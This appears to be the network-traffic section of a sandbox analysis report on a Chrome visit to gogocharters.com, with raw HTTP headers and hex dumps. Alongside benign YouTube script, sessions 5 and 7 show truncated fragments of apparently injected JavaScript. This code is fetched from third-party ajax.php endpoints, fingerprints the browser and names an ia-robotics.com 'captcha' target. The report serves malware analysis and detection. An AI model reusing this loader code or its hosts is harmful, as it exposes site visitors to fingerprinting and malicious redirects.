2025-05-21 19:48:01 UTC	600	OUT	GET /iframe_api HTTP/1.1 host: www.youtube.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / x-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ== sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: script sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9
2025-05-21 19:48:01 UTC	1460	IN	HTTP/1.1 200 OK content-type: text/javascript; charset=utf-8 x-content-type-options: nosniff expires: Wed, 21 May 2025 19:48:01 GMT date: Wed, 21 May 2025 19:48:01 GMT cache-control: private, max-age=0 strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN permissions-policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* cross-origin-opener-policy-report-only: same-origin; report-to="youtube_main" accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version report-to: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} content-security-policy: require-trusted-types-for 'script' origin-trial: ApTXX1w2dkJZuuxlV9csQYg+9ZVXekg+mOu8mS9vb7/V2oeMLKqGC8blgR6ech+eqbhGAgLKPthyai7z89MdTAgAAACLeyJvcmlnaW4iOiJodHRwczovL3d3dy55b3V0dWJlLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQb2xpY3lJbmNsdWRlSlNDYWxsU3RhY2tzSW5DcmFzaFJlcG9ydHMiLCJleHBpcnkiOjE3NDk1MTM2MDAsImlzU3ViZG9tYWluIjp0cnVlfQ== origin-trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdG
2025-05-21 19:48:01 UTC	1196	IN	Data Raw: 6c 76 62 69 49 73 49 6d 56 34 63 47 6c 79 65 53 49 36 4d 54 63 31 4f 44 41 32 4e 7a 45 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 56 39 0d 0a 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 72 65 73 6f 75 72 63 65 2d 70 6f 6c 69 63 79 3a 20 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a 70 33 70 3a 20 43 50 3d 22 54 68 69 73 20 69 73 20 6e 6f 74 20 61 20 50 33 50 20 70 6f 6c 69 63 79 21 20 53 65 65 20 68 74 74 70 3a 2f 2f 73 75 70 70 6f 72 74 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 73 2f 61 6e 73 77 65 72 2f 31 35 31 36 35 37 3f 68 6c 3d 65 6e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 2e 22 0d 0a 73 65 72 76 65 72 3a 20 45 53 46 0d 0a 78 2d 78 73 73 2d 70 72 6f 74 65 63 74 69 6f 6e 3a 20 30 0d 0a 73 65 74 2d 63 6f Data Ascii: lvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9cross-origin-resource-policy: cross-originp3p: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info."server: ESFx-xss-protection: 0set-co
2025-05-21 19:48:01 UTC	1116	IN	Data Raw: 76 61 72 20 73 63 72 69 70 74 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 5c 2f 73 5c 2f 70 6c 61 79 65 72 5c 2f 38 30 34 63 36 37 64 32 5c 2f 77 77 77 2d 77 69 64 67 65 74 61 70 69 2e 76 66 6c 73 65 74 5c 2f 77 77 77 2d 77 69 64 67 65 74 61 70 69 2e 6a 73 27 3b 77 69 6e 64 6f 77 5b 27 79 74 5f 65 6d 62 65 64 73 45 6e 61 62 6c 65 49 66 72 61 6d 65 41 70 69 53 65 6e 64 46 75 6c 6c 45 6d 62 65 64 55 72 6c 27 5d 20 3d 20 20 74 72 75 65 20 3b 77 69 6e 64 6f 77 5b 27 79 74 5f 65 6d 62 65 64 73 45 6e 61 62 6c 65 41 75 74 6f 70 6c 61 79 41 6e 64 56 69 73 69 62 69 6c 69 74 79 53 69 67 6e 61 6c 73 27 5d 20 3d 20 20 74 72 75 65 20 3b 74 72 79 7b 76 61 72 20 74 74 50 6f 6c 69 63 79 3d 77 69 6e 64 6f 77 2e 74 72 75 Data Ascii: var scriptUrl = 'https:\/\/www.youtube.com\/s\/player\/804c67d2\/www-widgetapi.vflset\/www-widgetapi.js';window['yt_embedsEnableIframeApiSendFullEmbedUrl'] = true ;window['yt_embedsEnableAutoplayAndVisibilitySignals'] = true ;try{var ttPolicy=window.tru
2025-05-21 19:48:03 UTC	842	OUT	GET /s/player/804c67d2/www-widgetapi.vflset/www-widgetapi.js HTTP/1.1 host: www.youtube.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / x-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ== sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: script sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: YSC=OHSAs2OGD6k cookie: VISITOR_INFO1_LIVE=L-W7LhVuhTg cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgHA%3D%3D cookie: __Secure-ROLLOUT_TOKEN=COiunN7jhMP6JRDirbykqrWNAxjirbykqrWNAw%3D%3D
2025-05-21 19:48:03 UTC	668	IN	HTTP/1.1 200 OK accept-ranges: bytes cross-origin-resource-policy: cross-origin cross-origin-opener-policy-report-only: same-origin; report-to="youtube" report-to: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} content-length: 30705 x-content-type-options: nosniff server: sffe x-xss-protection: 0 date: Wed, 21 May 2025 14:11:06 GMT expires: Thu, 21 May 2026 14:11:06 GMT cache-control: public, max-age=31536000 last-modified: Mon, 19 May 2025 04:10:30 GMT content-type: text/javascript vary: Accept-Encoding, Origin age: 20216 alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-05-21 19:48:03 UTC	1460	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 6e 3b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 0a 76 61 72 20 70 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 Data Ascii: (function(){'use strict';var n;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var p=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)
2025-05-21 19:48:03 UTC	1460	IN	Data Raw: 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 61 28 61 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 0a 66 75 6e 63 74 69 6f 6e 20 65 61 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 0a 72 65 74 75 72 6e 20 61 7d 0a 76 61 72 20 66 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 7d 0a 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 Data Ascii: igurable:!0,writable:!0,value:function(){return ea(aa(this))}})}return a});function ea(a){a={next:a};a[Symbol.iterator]=function(){return this};return a}var fa=typeof Object.create=="function"?Object.create:function(a){function b(){}b.prototype=a;retu
2025-05-21 19:48:03 UTC	1460	IN	Data Raw: 6a 3d 21 31 2c 66 3b 76 61 72 20 65 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 68 29 7b 72 65 74 75 72 6e 20 61 2e 67 2e 68 3d 6e 75 6c 6c 2c 42 28 61 2e 67 2c 68 29 2c 45 28 61 29 7d 61 2e 67 2e 68 3d 6e 75 6c 6c 3b 64 2e 63 61 6c 6c 28 61 2e 67 2c 65 29 3b 72 65 74 75 72 6e 20 45 28 61 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 45 28 61 29 7b 66 6f 72 28 3b 61 2e 67 2e 67 3b 29 74 72 79 7b 76 61 72 20 62 3d 61 2e 68 28 61 2e 67 29 3b 69 66 28 62 29 72 65 74 75 72 6e 20 61 2e 67 2e 6a 3d 21 31 2c 7b 76 61 6c 75 65 3a 62 2e 76 61 6c 75 65 2c 64 6f 6e 65 3a 21 31 7d 7d 63 61 74 63 68 28 63 29 7b 61 2e 67 2e 6d 3d 76 6f 69 64 20 30 2c 42 28 61 2e 67 2c 63 29 7d 61 2e 67 2e 6a 3d 21 31 3b 69 66 28 61 2e 67 2e 69 29 7b 62 3d 61 2e 67 2e 69 3b 61 2e 67 2e 69 3d 6e Data Ascii: j=!1,f;var e=f.value}catch(h){return a.g.h=null,B(a.g,h),E(a)}a.g.h=null;d.call(a.g,e);return E(a)}function E(a){for(;a.g.g;)try{var b=a.h(a.g);if(b)return a.g.j=!1,{value:b.value,done:!1}}catch(c){a.g.m=void 0,B(a.g,c)}a.g.j=!1;if(a.g.i){b=a.g.i;a.g.i=n
2025-05-21 19:48:03 UTC	1460	IN	Data Raw: 74 6f 74 79 70 65 2e 6a 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 69 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 68 3b 7d 29 7d 3b 0a 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6c 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6b 7c 7c 28 6b 3d 21 30 2c 6c 2e 63 61 6c 6c 28 67 2c 6d 29 29 7d 7d 0a 76 61 72 20 67 3d 74 68 69 73 2c 6b 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 4a 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 6c 29 7d 7d 3b 0a 62 2e 70 72 6f 74 6f 74 79 70 65 2e 4a 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 69 66 28 68 3d 3d 3d 74 68 69 73 29 74 68 69 73 2e 6c 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 Data Ascii: totype.j=function(h){this.i(function(){throw h;})};b.prototype.j=function(){function h(l){return function(m){k\|\|(k=!0,l.call(g,m))}}var g=this,k=!1;return{resolve:h(this.J),reject:h(this.l)}};b.prototype.J=function(h){if(h===this)this.l(new TypeError("
2025-05-21 19:48:03 UTC	1460	IN	Data Raw: 77 20 63 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 67 3d 74 68 69 73 2e 6a 28 29 3b 68 2e 42 28 67 2e 72 65 73 6f 6c 76 65 2c 67 2e 72 65 6a 65 63 74 29 7d 3b 0a 62 2e 70 72 6f 74 6f 74 79 70 65 2e 4d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 67 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 67 2c 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 0a 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 67 29 7b 66 75 6e 63 74 69 6f 6e 20 6b 28 77 2c 41 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 77 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 66 75 6e 63 74 69 6f 6e 28 Data Ascii: w c;b.prototype.L=function(h){var g=this.j();h.B(g.resolve,g.reject)};b.prototype.M=function(h,g){var k=this.j();try{h.call(g,k.resolve,k.reject)}catch(l){k.reject(l)}};b.prototype.then=function(h,g){function k(w,A){return typeof w=="function"?function(
2025-05-21 19:48:03 UTC	1460	IN	Data Raw: 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6b 29 7b 6b 3d 78 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 64 28 6b 29 7b 76 61 72 20 6c 3d 74 79 70 65 6f 66 20 6b 3b 72 65 74 75 72 6e 20 6c 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 6b 21 3d 3d 6e 75 6c 6c 7c 7c 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 7d 0a 66 75 6e 63 74 69 6f 6e 20 66 28 6b 29 7b 69 66 28 21 46 28 6b 2c 68 29 29 7b 76 61 72 20 6c 3d 6e 65 77 20 63 3b 70 28 6b 2c 68 2c 7b 76 61 6c 75 65 3a 6c 7d 29 7d 7d 0a 66 75 6e Data Ascii: =Math.random()+1).toString();if(k){k=x(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}}function c(){}function d(k){var l=typeof k;return l==="object"&&k!==null\|\|l==="function"}function f(k){if(!F(k,h)){var l=new c;p(k,h,{value:l})}}fun
2025-05-21 19:48:03 UTC	1460	IN	Data Raw: 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d 5b 6c 5d 3b 69 66 28 6d 26 26 46 28 67 5b 30 5d 2c 6c 29 29 66 6f 72 28 67 3d 30 3b 67 3c 6d 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 7b 76 61 72 20 75 3d 6d 5b 67 5d 3b 69 66 28 6b 21 3d 3d 6b 26 26 75 2e 6b 65 79 21 3d 3d 75 2e 6b 65 79 7c 7c 6b 3d 3d 3d 75 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 3a 67 2c 6f 3a 75 7d 7d 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 3a 2d 31 2c 6f 3a 76 6f 69 64 20 30 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 66 28 67 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 62 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 3b 69 66 28 67 29 7b 67 3d 78 28 67 29 3b 66 6f 72 28 76 61 72 20 6b 3b 21 28 6b Data Ascii: l="p_"+k;var m=g[0][l];if(m&&F(g[0],l))for(g=0;g<m.length;g++){var u=m[g];if(k!==k&&u.key!==u.key\|\|k===u.key)return{id:l,list:m,index:g,o:u}}return{id:l,list:m,index:-1,o:void 0}}function f(g){this[0]={};this[1]=b();this.size=0;if(g){g=x(g);for(var k;!(k
2025-05-21 19:48:03 UTC	1460	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 5b 67 2e 6b 65 79 2c 67 2e 76 61 6c 75 65 5d 7d 29 7d 3b 0a 66 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 20 67 2e 6b 65 79 7d 29 7d 3b 0a 66 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 20 67 2e 76 61 6c 75 65 7d 29 7d 3b 0a 66 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 66 6f 72 28 76 61 72 20 6c 3d 74 68 69 73 2e Data Ascii: ction(){return c(this,function(g){return[g.key,g.value]})};f.prototype.keys=function(){return c(this,function(g){return g.key})};f.prototype.values=function(){return c(this,function(g){return g.value})};f.prototype.forEach=function(g,k){for(var l=this.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49712	54.175.154.40	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:02 UTC	566	OUT	GET /ajax.php? HTTP/1.1 Host: myvocabulary.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://gogocharters.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-05-21 19:48:03 UTC	319	IN	HTTP/1.1 200 OK Date: Wed, 21 May 2025 19:48:02 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.5 Cache-Control: no-store Access-Control-Allow-Origin: * Vary: Accept-Encoding Content-Length: 2859 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/javascript
2025-05-21 19:48:03 UTC	1460	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 61 64 61 74 61 3d 7b 22 63 69 64 22 3a 22 66 63 31 66 66 64 37 30 64 64 64 30 33 66 37 63 37 32 65 35 31 66 32 33 33 66 62 30 39 32 62 34 22 2c 22 6a 73 22 3a 66 61 6c 73 65 2c 22 74 61 72 67 65 74 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 61 2d 72 6f 62 6f 74 69 63 73 2e 63 6f 6d 5c 2f 63 61 70 74 63 68 61 5c 2f 22 2c 22 6f 6b 22 3a 74 72 75 65 2c 22 61 63 74 69 6f 6e 22 3a 22 72 65 66 72 65 73 68 22 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 76 2c 77 29 7b 76 61 72 20 66 3d 5b 5d 2c 63 3d 7b 6d 6f 64 65 3a 22 61 6a 61 78 22 7d 2c 78 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 74 6f 61 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 29 29 3b 66 75 6e 63 74 69 6f 6e 20 70 28 62 29 7b Data Ascii: window._adata={"cid":"fc1ffd70ddd03f7c72e51f233fb092b4","js":false,"target":"https:\/\/ia-robotics.com\/captcha\/","ok":true,"action":"refresh"};(function(v,w){var f=[],c={mode:"ajax"},x=document.getElementById(btoa(window.location.origin));function p(b){
2025-05-21 19:48:03 UTC	1399	IN	Data Raw: 65 3d 62 28 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 29 3b 63 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 72 79 7b 76 61 72 20 67 3d 7b 7d 3b 61 3d 61 2e 61 74 74 72 69 62 75 74 65 73 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 61 29 65 3d 61 5b 65 5d 2c 67 5b 65 2e 6e 6f 64 65 4e 61 6d 65 5d 3d 65 2e 6e 6f 64 65 56 61 6c 75 65 3b 72 65 74 75 72 6e 20 67 7d 63 61 74 63 68 28 6b 29 7b 66 2e 70 75 73 68 28 6b 2e 6d 65 73 73 61 67 65 29 7d 7d 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 29 3b 63 2e 64 6f 63 75 6d 65 6e 74 3d 62 28 64 6f 63 75 6d 65 6e 74 29 3b 74 72 79 7b 63 2e 74 69 6d 65 7a 6f 6e 65 4f 66 66 73 65 74 3d 0a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 7a 6f Data Ascii: e=b(window.console);c.documentElement=function(a){try{var g={};a=a.attributes;for(var e in a)e=a[e],g[e.nodeName]=e.nodeValue;return g}catch(k){f.push(k.message)}}(document.documentElement);c.document=b(document);try{c.timezoneOffset=(new Date).getTimezo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49715	23.43.51.47	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:02 UTC	527	OUT	GET / HTTP/1.1 host: ipv6.6sc.co sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / origin: https://gogocharters.com sec-fetch-site: cross-site sec-fetch-mode: cors sec-fetch-dest: empty referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:02 UTC	441	IN	HTTP/1.1 200 OK content-type: text/html content-length: 4 expires: Wed, 21 May 2025 19:48:02 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:02 GMT server-timing: cdn-cache; desc=HIT server-timing: edge; dur=1 6si-ipv6: null access-control-allow-origin: https://gogocharters.com vary: Origin server-timing: ak_p; desc="1747856881930_399898544_1067034445_12_396_161_163_15";dur=1
2025-05-21 19:48:02 UTC	4	IN	Data Raw: 6e 75 6c 6c Data Ascii: null

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49713	50.57.243.90	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:02 UTC	579	OUT	GET /captcha/ajax.php? HTTP/1.1 Host: clients.contology.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://gogocharters.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-05-21 19:48:02 UTC	335	IN	HTTP/1.1 200 OK Server: Apache/2.4 Cache-Control: no-store Content-Type: application/javascript Strict-Transport-Security: max-age=15552000 Date: Wed, 21 May 2025 19:48:02 GMT Access-Control-Allow-Origin: * Connection: Keep-Alive Set-Cookie: X-Mapping-lgemgpmo=0572838B93C65DCCDDFED6E4128A1C51; path=/ Content-Length: 2848
2025-05-21 19:48:02 UTC	1460	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 61 64 61 74 61 3d 7b 22 63 69 64 22 3a 22 35 65 61 61 35 30 39 36 66 37 34 34 36 63 64 65 31 39 65 34 34 31 31 37 36 61 36 39 66 35 65 65 22 2c 22 6a 73 22 3a 66 61 6c 73 65 2c 22 74 61 72 67 65 74 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 61 2d 72 6f 62 6f 74 69 63 73 2e 63 6f 6d 5c 2f 63 61 70 74 63 68 61 5c 2f 22 2c 22 6f 6b 22 3a 74 72 75 65 2c 22 61 63 74 69 6f 6e 22 3a 22 72 65 66 72 65 73 68 22 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 76 2c 77 29 7b 76 61 72 20 66 3d 5b 5d 2c 63 3d 7b 7d 2c 78 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 74 6f 61 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 29 29 3b 66 75 6e 63 74 69 6f 6e 20 70 28 62 29 7b 69 66 28 62 2e 6f 6b 29 73 77 69 Data Ascii: window._adata={"cid":"5eaa5096f7446cde19e441176a69f5ee","js":false,"target":"https:\/\/ia-robotics.com\/captcha\/","ok":true,"action":"refresh"};(function(v,w){var f=[],c={},x=document.getElementById(btoa(window.location.origin));function p(b){if(b.ok)swi
2025-05-21 19:48:02 UTC	1388	IN	Data Raw: 63 6f 6e 73 6f 6c 65 29 3b 63 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 72 79 7b 76 61 72 20 67 3d 7b 7d 3b 61 3d 61 2e 61 74 74 72 69 62 75 74 65 73 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 61 29 65 3d 61 5b 65 5d 2c 67 5b 65 2e 6e 6f 64 65 4e 61 6d 65 5d 3d 65 2e 6e 6f 64 65 56 61 6c 75 65 3b 72 65 74 75 72 6e 20 67 7d 63 61 74 63 68 28 6b 29 7b 66 2e 70 75 73 68 28 6b 2e 6d 65 73 73 61 67 65 29 7d 7d 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 29 3b 63 2e 64 6f 63 75 6d 65 6e 74 3d 62 28 64 6f 63 75 6d 65 6e 74 29 3b 74 72 79 7b 63 2e 74 69 6d 65 7a 6f 6e 65 4f 66 66 73 65 74 3d 0a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 7a 6f 6e 65 4f 66 66 73 65 74 28 29 7d Data Ascii: console);c.documentElement=function(a){try{var g={};a=a.attributes;for(var e in a)e=a[e],g[e.nodeName]=e.nodeValue;return g}catch(k){f.push(k.message)}}(document.documentElement);c.document=b(document);try{c.timezoneOffset=(new Date).getTimezoneOffset()}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
